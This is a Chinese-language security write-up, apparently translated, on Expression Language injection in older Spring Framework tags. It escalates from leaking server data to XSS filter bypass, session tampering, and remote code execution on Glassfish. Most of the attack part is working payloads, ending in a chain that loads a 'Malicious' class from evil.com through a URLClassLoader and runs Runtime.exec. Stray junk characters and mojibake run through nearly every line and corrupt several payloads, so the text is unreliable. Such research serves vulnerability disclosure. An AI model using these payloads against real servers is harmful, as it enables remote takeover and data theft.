Remote Code with
% i- K" t7 X, i' qExpression Language Injection
6 s3 \" I; M7 F5 M: n" S& J" P) XSpring Framework脆弱性—DanAmodio
2 ^. E6 f$ Y6 D) S, A6 n. o全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
+ h. D8 {+ h: a8 p; \$ N可能会存在风险。
d! ^9 |# m- G8 c# Y在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
. e; B( ]/ ~& wArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可1 i& l# e m* x! P6 V. X* ]8 y
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
( U, r! h. E+ T) d! X以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
5 c% k' `3 y4 W3 v0 ?, @5 O x版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
0 s' S! Y3 `; o8 F. U由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
. ^- [3 I/ `7 b: H" A) h我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版8 x( _7 Z6 j- L# ?! C E
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
5 @, ]) U) t* V4 T' Q6 h! v这些版本不支持禁用double EL resolution.
$ C. F- m) ~( p9 c这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含. p' p# o: J+ [, J. b
EL2.2容器上可能进行远程代码执行。7 T( T# a6 x) f# M* }1 o
这是一个原始信息泄露的攻击例子:
# i8 D( P2 b4 K- \9 Z6 h7 Q请求:
: x) Z9 N; v5 @0 L: e' w) h, i) Nttp://vulnerable.com/foo?message=${applicationScope}! Z+ {6 W+ N9 m4 q- q! U3 `9 m
到达以下内容页面:
. `% `, y, ^/ Q" {结果将输出一些包含内部服务器信息calsspath 和本地工作目录# V: ^4 b( g! w2 b7 F, x
你也可以做一些其他事情,如这样:" q, [( M; |0 l
${9999+1}
* ^! F% l. ~: e/ f. H9 n4 [还可以访问session 对象和beans, V! }0 W8 }: k% {* G( P; E* {0 b
${employee.lastName} y+ x- q( w: {4 ~0 k( ^1 x
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是& s" R! G& N4 r; r6 W+ |; A+ I
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东7 b: q. Z7 F0 A& g7 h
西,比如XSS.( N1 D& y( I" m
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签3 \7 w- ]2 f4 F# U& l' t
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤" e8 n+ S) L5 i" i/ { W. `; l
呢?”
0 u9 {+ B A4 b! X因此,我尝试巳缦拢�5 L: l/ Q, C, ?& r( j5 S# b4 b
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP8 E4 @, K6 f" ?+ a! t
P2 W1 n9 K3 b; i5 G! u, W
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
$ k7 O) _- s/ @- r回的文本被插入进了spring:message 标签。' e. u' [7 L. @3 J0 r6 D1 z G/ [3 ]
这里是一个最终绕过过滤的实例:
. f+ P2 J' L0 g8 j4 xhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
7 G2 O7 ~2 A5 g( `& g, \1 F它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为; v6 x- P1 T9 m4 v: @
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
9 w/ ]/ m, O' a: \7 U经过一番研究,我学习到EL2.2 增加了方法调用。
7 u5 H: ]7 D: L4 W8 O1 I9 ~6 g我写了一个快速测试应用程序代码并且检测一些功能
" g9 c/ w) `& @+ P; l9 R3 N${pageContext.request.getSession().setAttribute(“account”,”123456″)}
1 m8 N& m3 ^3 u. _7 Q& i${pageContext.request.getSession().setAttribute(“admin”,true)}
9 D o* @( M% d% n8 i p1 a* Y3 A% }好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的( f1 y7 l$ t+ H( D5 Z5 J
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
. k" y1 }. t! v( a: L) t$ O${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
, q0 H0 ^7 s& m' h6 S: _2 ^2 i2 d' N“, 1234)}
- x6 Y7 q9 W3 Y+ p9 w, E6 [${“”.getClass().forName(“java.lang.Runtime”)}
6 Y9 l. m. v! _$ [! R% |哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不+ }, v6 M+ ]; N$ o3 Z) E; e
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函& ~* }$ D' @4 X h: H
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
! l) G4 V2 N$ i0 l一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
$ T, q) K8 G) t- v方法签名invoke(Object obj, Object„ args)# N7 K6 e4 n9 X/ S9 V$ m" A8 j
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问/ g4 S# g! _/ r7 V
题,以让它可以工作起来。
- a; v( [ w/ ]& ]1 L% a漏洞利用:
) V- p) B5 i) Q2 K' e4 |4 k我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
1 N# _% _7 k: m; { k. _希望你们中的一些JAVA奇才告诉我我是如此的可笑。& W7 k- `6 t& S6 b2 `' V9 M
这里有一些我试过的失败的用例,为了试图让它工作的用例:
- L9 n" U! @- }: P- R* v+ F 写文件到文件系统' p( ]1 d/ Y5 f0 j k* ~
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.5 c$ N6 q& ~+ Q
我认为这些可以很好的工作,但是我不能找到合适的类来载入。5 k; ?4 ]- p1 ]2 W
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
9 u( i, u" `2 pjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:% o& E: @0 |; b3 X3 x
org.springframework.expression.spel.standard.SpelExpressionParser not found; w+ i) F2 H# \6 b
by* k: h) Y) `( a0 r0 s7 g8 h
org.glassfish.web.javax.servlet.jsp [194].3 _+ N. i# q$ X/ a/ s2 B) w, l
利用反射来修改java.lang.Runtime.currentRuntime的属性为Public: v( ?% Y5 u6 K, c
利用反射来创建一个新的Runtime(and watch the world burn)
" [8 y0 L9 w7 ]6 M7 }8 C${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
* U- T4 v, U7 U5 k! l(“java.lang.Runtime”)).getDeclaredConstructors()[0])}0 A" a# `+ E: r3 w# r% H
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}% A# L6 S5 @. w/ |
使用java.lang.ProcessBuilder* p& O5 r0 j5 x+ g' }
用表达式语言来评估表达式语言 y$ i' O2 L: {! T6 w( V
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
1 W( L) |& [4 B+ p1 \${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request8 L5 P3 {. m0 o' |" b+ h8 t2 p5 \; }
“,”".getClass(),null)}& z2 r C: J) C" ?# Z
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
0 v* k4 }6 U& G) b8 l我在使用一个空数组通过Method.invoke()时失败了很多次# }; W% B5 z U( E. [' z# g& j
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
: B1 ]8 {" d* y( ^% u.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A& l; O. y6 J. a
rrayList”).newInstance().toArray())& t" a' G w F) u; C# v
java.lang.IllegalArgumentException: wrong number of arguments
5 q* x% R4 u% a$ G% m9 ?! [% S, A最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可& w* m" {& m0 Y+ c9 D
以创建一个恶意class文件并且指向类装载器.
( o! z. N% u+ y9 o L6 f我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:% x! ]; s1 I3 ~; W7 B; F
public class Malicious {" y- s9 h2 y8 H; ?
public Malicious() {
* X7 i9 G7 E* ~& Stry {2 l! E4 [5 J" G# d5 }9 m; T, N9 Z* O
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac& f: B! N7 t6 Y6 ~* `) X% _0 z
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
5 c- o& ?6 T0 v; {; j} catch (Exception e) {, \8 Y5 Q j; C1 Q
}$ @0 r& v. ]" B; k1 i
}' x/ c: s, B% w9 S
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回" T' |) v9 ?0 B( u7 {
话中,因此它可以被使用.
" ^) f, G! c6 V4 L {( r${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName4 |6 e9 }& D7 ` t8 G7 h+ }/ @) J
(“java.util.ArrayList”).newInstance())}! h# H$ G7 R+ s* m
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
- U2 G$ o U7 ]& g一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
- `9 b% g$ {7 [6 z5 ^4 G4 h3 BgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
, Z4 w9 v9 W3 J6 t4 ?' I: w我们可以调用的create(string)方法,然后转换对一个URL对象。
' |# G. ^2 X* v5 ]${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh6 n: c! t0 C3 o; m8 E( v
ere/malicious/classfile/is/located/”).toURL())}
; h/ N1 o8 _. v6 O! n6 N然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
- z5 y, u/ V; X8 r( y, r恶意类文件被装载并创建,触发远程代码.
" \0 Z! H0 h/ |5 t2 v3 H8 @% v# F! \0 V' q${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte- v V2 T( N; H: I# C
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
% o0 X! M) h9 R& }/ ?( y$ z+ cgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
5 u6 k8 u; T5 A6 g" [; @* ~()} |